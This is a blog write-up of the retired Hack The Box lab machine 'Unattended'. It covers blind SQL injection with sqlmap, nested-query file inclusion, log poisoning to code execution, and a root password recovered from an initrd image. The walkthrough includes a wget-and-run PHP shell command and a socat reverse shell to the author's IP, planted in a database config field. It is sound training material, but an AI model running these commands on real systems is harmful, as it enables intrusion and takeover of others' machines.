Skip to main content

Unattended Writeup - Hack The Box (Retired)

Summary:

Unattended is a challenging CTF-Like machine created by Hack The Box user @guly. This Linux box is surprisingly more difficult than most medium level boxes and truly tests SQL injection knowledge by forcing users to not entirely rely on automated tools, but to think creatively so they can manually "incept" nested queries to achieve LFI. This ultimately leads to RCE and a shell after log poisoning. With additional enumeration and subtle sysadmin knowledge, we are able to escalate to the root user.


Finding a Foothold


Initial Enumeration:

root@kali:~/htb/# nmap -sV -sC -oA nmap/Unattended 10.10.10.126

Starting Nmap 7.80 ( https://nmap.org ) at 2019-08-22 19:45 AKDT
Nmap scan report for www.nestedflanders.htb (10.10.10.126)
Host is up (0.20s latency).
Not shown: 998 filtered ports
PORT    STATE SERVICE  VERSION
80/tcp  open  http     nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Did not follow redirect to https://www.nestedflanders.htb
443/tcp open  ssl/http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Apache2 Debian Default Page: It works
| ssl-cert: Subject: commonName=www.nestedflanders.htb/organizationName=Unattended ltd/stateOrProvinceName=IT/countryName=IT
| Not valid before: 2018-12-19T09:43:58
|_Not valid after:  2021-09-13T09:43:58

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.83 seconds

Nmap indicates a redirect on port 80 to the machine's fully qualified domain name (FQDN). We will add this FQDN to our hosts file so that we can access the page.

Oddly, the server isn't actually an Apache server. By analyzing the response headers of https://www.nestedflanders.htb/index.html, we can determine that this is a web server running nginx/1.10.3.

If we run gobuster or test index.html for other existing default page entities, we find that index.php is a valid page on the machine.

Investigating the various pages indicates that the server was recently attacked in some way and as a result dynamic pages were disabled.
There are some interesting rabbit holes at a glance. The image name is located at ./787c75233b93aa5e45c3f85d130bfbe7.gif. The image name is the md5 hash of the word "smtp" and each page links to a different view with id's 25, 465, and 587 (all smtp ports). What's less of a rabbit hole is that ./787c75233b93aa5e45c3f85d130bfbe7.php is also a valid page.

SQL Injection

Some of the web server's features might tempt us to either fuzz all possible numeric ID's or run gobuster against a modified md5sum dictionary list (this server uses Fail2ban to mitigate the number of requests made); however, we won't yield much information other than knowing there isn't anything to find. What we should investigate is if the "id" parameter is vulnerable to SQL Injection. We can either test basic SQL injection or have sqlmap automate our queries.

sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --random-agent --batch

Result:

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 288 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=465' AND 3833=3833 AND 'WsUF'='WsUF

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=465' AND (SELECT 1903 FROM (SELECT(SLEEP(5)))FLsJ) AND 'Jyjd'='Jyjd
---
[21:14:20] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.10.3, PHP
back-end DBMS: MySQL >= 5.0.12
[21:14:20] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.nestedflanders.htb'

Unfortunately, both SQL injection methods are blind attacks, so dumping the entire database may take several hours. If we were to use either blind attack, we should focus on dumping only valuable information with as many threads as possible.

Users and Passwords:

root@kali:~/htb/Unattended# sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --random-agent --dbms=mysql --threads 10 --passwords --batch
...
[21:35:13] [INFO] fetching database users
[21:35:13] [INFO] fetching number of database users
[21:35:13] [INFO] 1
[21:35:13] [INFO] retrieving the length of query output
[21:35:13] [INFO] 28
[21:35:13] [INFO] 'nestedflanders'@'localhost'
...
[21:35:37] [ERROR] unable to retrieve the password hashes for the database users (probably because the DBMS current user has no read privileges over the relevant system database table(s))

Current Database:

root@kali:~/htb/Unattended# sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --random-agent --dbms=mysql --threads 10 --batch --current-db
...
[21:38:49] [INFO] fetching current database
[21:38:49] [INFO] retrieving the length of query output
[21:38:49] [INFO] 5
[21:38:49] [INFO] neddy
current database: 'neddy'
...

Tables of Current Database

root@kali:~/htb/Unattended# sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --random-agent --dbms=mysql --threads 10 --batch -D neddy --tables
...
[21:47:51] [INFO] fetching tables for database: 'neddy'
[21:47:51] [INFO] fetching number of tables for database 'neddy'
[21:47:51] [INFO] retrieved: 11
[21:47:56] [INFO] retrieving the length of query output
[21:47:56] [INFO] retrieved: 6
[21:48:07] [INFO] retrieved: config           
...
[21:50:13] [INFO] retrieved: products           
Database: neddy
[11 tables]
+--------------+
| config       |
| customers    |
| employees    |
| filepath     |
| idname       |
| offices      |
| orderdetails |
| orders       |
| payments     |
| productlines |
| products     |
+--------------+

...

Dumping Tables of Interest

root@kali:~/htb/Unattended# sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --random-agent --dbms=mysql --threads 10 --batch -D neddy -T config --dump
... // We actually don't need this table until much, much later.
... // It really isn't needed right now.
[22:05:53]] [INFO] fetching columns for table 'config' in database 'neddy'
... // It will take some time to dump.
[22:36:22] [INFO] retrieved: file           
Database: neddy
Table: config
[52 entries]
+-----+-------------------------+----------------------------------------+
| id  | option_name             | option_value                           |
+-----+-------------------------+----------------------------------------+
| 54  | offline                 | 0                                      |
| 55  | offline_message         | Site offline, please come back later.  |
|... // Again, this data is not very useful to us at the moment.         |
| 103 | feed_limit              | 10                                     |
| 104 | lifetime                | 1                                      |
| 105 | session_handler         | file                                   |
+-----+-------------------------+----------------------------------------+
...
root@kali:~/htb/Unattended# sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --random-agent --dbms=mysql --threads 10 --batch -D neddy -T filepath --dump
...
[22:44:53] [INFO] fetching columns for table 'filepath' in database 'neddy'
...
[22:47:34] [INFO] retrieved: main           
Database: neddy
Table: filepath
[3 entries]
+---------+--------------------------------------+
| name    | path                                 |
+---------+--------------------------------------+
| about   | 47c1ba4f7b1edf28ea0e2bb250717093.php |
| contact | 0f710bba8d16303a415266af8bb52fcb.php |
| main    | 787c75233b93aa5e45c3f85d130bfbe7.php |
+---------+--------------------------------------+
...
root@kali:~/htb/Unattended# sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --random-agent --dbms=mysql --threads 10 --batch -D neddy -T idname --dump
...
[22:53:37] [INFO] fetching columns for table 'idname' in database 'neddy'
...
[22:57:17] [INFO] retrieved: contact           
Database: neddy
Table: idname
[6 entries]
+-----+-------------+----------+
| id  | name        | disabled |
+-----+-------------+----------+
| 1   | main.php    | 1        |
| 2   | about.php   | 1        |
| 3   | contact.php | 1        |
| 25  | main        | 0        |
| 465 | about       | 0        |
| 587 | contact     | 0        |
+-----+-------------+----------+

Given the structure of idname and filepath, we can guess the logic of the page that produces the different views of each page. Each page is most likely the produced result of an inner-join query that takes the id of the page in "idname" and cross-references the id's name to the path in the "filepath" table (Although most likely unintended, if we didn't want to guess this, we could download the source-code of index.php by going to https://www.nestedflanders.htb/dev../html/index.php). If we reconstruct the database and the two tables in a local MySQL server, we can create two queries that demonstrate the pseudo-inner-join query.

From reverse engineering this query, we want to take advantage of the SQL injection and create nested queries that provoke unusual results.

This query will show the contents of the contact page even though the id value is still "465" when sent to the server. To ensure that we do not run into any syntax errors, we should URL encode the SQL injection part of the query we need.

Local File Inclusion

SQL injection works! And because it works, we can take advantage of this SQLi to achieve Local File Inclusion (LFI) and access other files on the host. This article demonstrates the result we would like to achieve with nested SQL injection. We can incept SQL injection into our second query to produce a desirable result like so:

In the browser:

LFI works! With LFI, we can read any world-readable file or any file www-data has read permissions on. We can also write a script that parses the contents of the page:

We can also read nginx access.log at /var/log/nginx/access.log, which means we can easily trigger Remote Code Execution (RCE) if we poison the logs.

We can poison the logs by using either netcat or burp suite (i.e. replacing the user-agent with php code). If we setup a icmp listener and attempt to ping ourselves from the host, we can confirm that we also have RCE:


Our Reverse Shell and Claiming user.txt


Remote Code Execution

We have RCE; however, if we try to create a reverse shell, we quickly realize that egress traffic is being filtered. We can determine our firewall rules by looking at /etc/iptables/rules.v4:

Iptables indicate that all outbound traffic except http and https is being blocked, so any reverse shell we create must be running on port 80 or port 443. We also know the server can run and execute PHP. If we write a script (called shell.php) that creates a persistent shell, we can have the server download and execute it. Run these commands on the server after preparing your environment.

wget 10.10.12.73/shell.php -O /tmp/shell.php
php -f /tmp/shell.php

We can find a more suitable binary creating a reverse shell if we run the following while in Unattended:

# find / \( -name "nc" -o -name "perl" -o -name "socat" -o -name "php*" -o -name "python" -o -name "python3" \) -executable -ls 2>/dev/null | grep -vE "(/usr/share|/etc/|/var/lib)"
    21207    372 -rwxr-xr-x   1 root     root       378336 Jul 14  2017 /usr/bin/socat
    20365   4288 -rwxr-xr-x   1 root     root      4389936 Dec  7  2018 /usr/bin/php7.0
    12243   1976 -rwxr-xr-x   2 root     root      2021960 Nov 29  2018 /usr/bin/perl
      949      4 drwxr-xr-x   3 root     root         4096 Dec 20  2018 /usr/lib/python3
     2456      4 drwxr-xr-x   5 root     root         4096 Dec 20  2018 /usr/lib/x86_64-linux-gnu/perl
    20221      4 drwxr-xr-x   4 root     root         4096 Dec 20  2018 /usr/lib/php
    20225      8 -rwxr-xr-x   1 root     root         7278 Jan  1  2017 /usr/sbin/phpenmod
    20234      0 lrwxrwxrwx   1 root     root            8 Jan  1  2017 /usr/sbin/phpdismod -> phpenmod
    20226      8 -rwxr-xr-x   1 root     root         6411 Jan  1  2017 /usr/sbin/phpquery

Anything in /usr/bin/ is likely to be in our current path. Other than PHP, both perl and socat can provide us reverse shells. Once we have a stable reverse shell, we can grab the database user's credentials ('nestedflanders'@'localhost') from index.php

www-data@unattended:/var/www/html$ head index.php 
<?php
$servername = "localhost";
$username = "nestedflanders";
$password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e";
$db = "neddy";
$conn = new mysqli($servername, $username, $password, $db);
$debug = False;

include "6fb17817efb4131ae4ae1acae0f7fd48.php";

Using these credentials, we can locally authenticate with the mysql server and investigate the config table from earlier as well as our current user's grants.

www-data@unattended:/var/www/html$ mysql -u nestedflanders -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 161
Server version: 10.1.37-MariaDB-0+deb9u1 Debian 9.6

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> use neddy;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [neddy]> show grants;
+-----------------------------------------------------------------------------------------------------------------------+
| Grants for nestedflanders@localhost                                                                                   |
+-----------------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'nestedflanders'@'localhost' IDENTIFIED BY PASSWORD '*9E1AD37C883F20EE8B5FB34B4B150262F9671A58' |
| GRANT SELECT, INSERT, UPDATE ON `neddy`.* TO 'nestedflanders'@'localhost'                                             |
+-----------------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

MariaDB [neddy]> select * from config;
+-----+-------------------------+--------------------------------------------------------------------------+
| id  | option_name             | option_value                                                             |
+-----+-------------------------+--------------------------------------------------------------------------+
|  54 | offline                 | 0                                                                        |
|  55 | offline_message         | Site offline, please come back later                                     |
|  56 | display_offline_message | 0                                                                        |
|  57 | offline_image           |                                                                          |
|  58 | sitename                | NestedFlanders                                                           |
|  59 | editor                  | tinymce                                                                  |
|  60 | captcha                 | 0                                                                        |
|  61 | list_limit              | 20                                                                       |
|  62 | access                  | 1                                                                        |
|  63 | debug                   | 0                                                                        |
|  64 | debug_lang              | 0                                                                        |
|  65 | dbtype                  | mysqli                                                                   |
|  66 | host                    | localhost                                                                |
|  67 | live_site               |                                                                          |
|  68 | gzip                    | 0                                                                        |
|  69 | error_reporting         | default                                                                  |
|  70 | ftp_host                | 127.0.0.1                                                                |
|  71 | ftp_port                | 21                                                                       |
|  72 | ftp_user                | flanders                                                                 |
|  73 | ftp_pass                | 0e1aff658d8614fd0eac6705bb69fb684f6790299e4cf01e1b90b1a287a94ffcde451466 |
|  74 | ftp_root                | /                                                                        |
|  75 | ftp_enable              | 1                                                                        |
|  76 | offset                  | UTC                                                                      |
|  77 | mailonline              | 1                                                                        |
|  78 | mailer                  | mail                                                                     |
|  79 | mailfrom                | nested@nestedflanders.htb                                                |
|  80 | fromname                | Neddy                                                                    |
|  81 | sendmail                | /usr/sbin/sendmail                                                       |
|  82 | smtpauth                | 0                                                                        |
|  83 | smtpuser                |                                                                          |
|  84 | smtppass                |                                                                          |
|  85 | smtppass                |                                                                          |
|  86 | checkrelease            | /home/guly/checkbase.pl;/home/guly/checkplugins.pl;                      |
|  87 | smtphost                | localhost                                                                |
|  88 | smtpsecure              | none                                                                     |
|  89 | smtpport                | 25                                                                       |
|  90 | caching                 | 0                                                                        |
|  91 | cache_handler           | file                                                                     |
|  92 | cachetime               | 15                                                                       |
|  93 | MetaDesc                |                                                                          |
|  94 | MetaKeys                |                                                                          |
|  95 | MetaTitle               | 1                                                                        |
|  96 | MetaAuthor              | 1                                                                        |
|  97 | MetaVersion             | 0                                                                        |
|  98 | robots                  |                                                                          |
|  99 | sef                     | 1                                                                        |
| 100 | sef_rewrite             | 0                                                                        |
| 101 | sef_suffix              | 0                                                                        |
| 102 | unicodeslugs            | 0                                                                        |
| 103 | feed_limit              | 10                                                                       |
| 104 | lifetime                | 1                                                                        |
| 105 | session_handler         | file                                                                     |
+-----+-------------------------+--------------------------------------------------------------------------+
52 rows in set (0.00 sec)

Judging by the database user's permissions to update database, it seems like our next objective is to change some record in the database. Looking at the config table, the "checkrelease" record points to two executable perl scripts in guly's home folder; thus, this is an indication that there is some user on the system who is reading the database with access to guly's home folder. If we change this record to a reverse shell that connects to our local machine, we will sign in as that user:

update config set option_value = "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.12.73:443" where id = '86';

user.txt:9b***************************f14

Privilege Escalation to Root


Reading root.txt

After doing some basic enumeration, we find that the user guly belongs to an unusual group that typically does not exist on a unix machine and has read permissions to the file system's initial ram disk image file.

guly@unattended:~$ whoami
guly
guly@unattended:~$ id
uid=1000(guly) gid=1000(guly) groups=1000(guly),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),47(grub),108(netdev)
guly@unattended:~$ cat /etc/group | grep grub
grub:x:47:guly
guly@unattended:~$ find / -group grub -ls 2>/dev/null
       16  19331 -rw-r-----   1 root     grub     19715792 Aug 23 05:26 /boot/initrd.img-4.9.0-8-amd64

We can copy the Gzip image to our home directory and extract its contents:

guly@unattended:~$ cp /boot/initrd.img-4.9.0-8-amd64 .../initrd.img.gz
guly@unattended:~$ cd ...
guly@unattended:~/...$ gunzip initrd.img.gz 
guly@unattended:~/...$ cpio -i -F initrd.img
121309 blocks
guly@unattended:~/...$ ls -hal
total 60M
drwxr-xr-x 11 guly guly 4.0K Aug 23 21:19 .
drwxr-x---  3 guly guly 4.0K Aug 23 21:18 ..
drwxr-xr-x  2 guly guly 4.0K Aug 23 21:19 bin
drwxr-xr-x  2 guly guly 4.0K Aug 23 21:19 boot
drwxr-xr-x  3 guly guly 4.0K Aug 23 21:19 conf
drwxr-xr-x  5 guly guly 4.0K Aug 23 21:19 etc
-rwxr-xr-x  1 guly guly 5.9K Aug 23 21:19 init
-rw-r-----  1 guly guly  60M Aug 23 21:18 initrd.img
drwxr-xr-x  8 guly guly 4.0K Aug 23 21:19 lib
drwxr-xr-x  2 guly guly 4.0K Aug 23 21:19 lib64
drwxr-xr-x  2 guly guly 4.0K Aug 23 21:19 run
drwxr-xr-x  2 guly guly 4.0K Aug 23 21:19 sbin
drwxr-xr-x  8 guly guly 4.0K Aug 23 21:19 scripts

Grepping the extracted contents for guly's username yields a modified cryptroot script with a section that generates and pipes the root user's password to cryptopen:

guly@unattended:~/...$ grep -Ri "guly" .
./scripts/local-top/cryptroot:      # guly: we have to deal with lukfs password sync when root changes her one
guly@unattended:~/...$ more +/guly ./scripts/local-top/cryptroot
      # guly: we have to deal with lukfs password sync when root changes her one
      if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
        /sbin/uinitrd c0m3s3f0ss34nt4n1 | $cryptopen ; then
    message "cryptsetup: cryptsetup failed, bad password or options?"

Although we do not have execute permissions on /sbin/uinitrd, we do have a copy of uinitrd created from the extracted contents of the initrd.img from earlier:

guly@unattended:~/...$ ls
bin  boot  conf  etc  init  initrd.img  lib  lib64  run  sbin  scripts
guly@unattended:~/...$ ./sbin/uinitrd c0m3s3f0ss34nt4n1
132f93ab100671dcb263acaf5dc95d8260e8b7c6
guly@unattended:~/...$ su
Password: 
root@unattended:/home/guly/...# whoami
root
root@unattended:/home/guly/...# hostname
unattended
root@unattended:/home/guly/...# cat ~/root.txt 
55***************************1d3

We have pwned root!
Like some of the other difficult boxes, I personally found it very easy to fall into a rabbit hole during the foothold and lose myself for a few hours enumerating something unessential. As a CTF-like box, I found the nods made to the non-existent smtp, pop3, imap, and ftp services misleading, as I thoroughly investigated any and every reference to these services before and after having a shell. Overall, this was an entertaining box that fully tested one's comprehension in various areas of web exploitation, enumeration, and systems administration.

Rayce Toms
Student Researcher

Comments

Popular posts from this blog

Bastion Writeup - Hack The Box (Retired)

Summary: Bastion was one of the first few easy boxes that initially introduced me to HackTheBox . Created by L4mpje , a security enthusiast and hobbyist hacker, this box covers realistic Windows environment misconfigurations like unauthenticated file-shares and vulnerable apps with insecure password storage. Finding a Foothold Initial Enumeration: root@kali : ~/htb/ # nmap -sV -sC -oA nmap/Bastion 10.10.10.134 Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-05 13:31 AKDT Nmap scan report for 10.10.10.134 Host is up (0.50s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0) | ssh-hostkey: | 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA) | 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA) |_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn

Luke Writeup - Hack The Box (Retired)

Summary: Luke , a FreeBSD box created by HackTheBox user H4d3s , was an overall simple medium-difficulty box. Rooting this host is mostly a matter of taking advantage of its sensitive information disclosure, its password reuse, and its over-zealous privileges that are available from the web host. This was the first box where I had rooted the box before getting user. Finding a Foothold Initial Enumeration: root@kali : ~/htb/ # nmap -sV -sC -oA nmap/Luke 10.10.10.137 Starting Nmap 7.80 ( https://nmap.org ) at 2019-07-15 18:35 AKDT Nmap scan report for 10.10.10.137 Host is up (0.12s latency). Not shown: 995 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3+ (ext.1) | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxr-xr-x 2 0 0 512 Apr 14 12:35 webapp | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.14.39 | Logged in as ftp | TYPE: ASCII | No session upload bandwidth limit |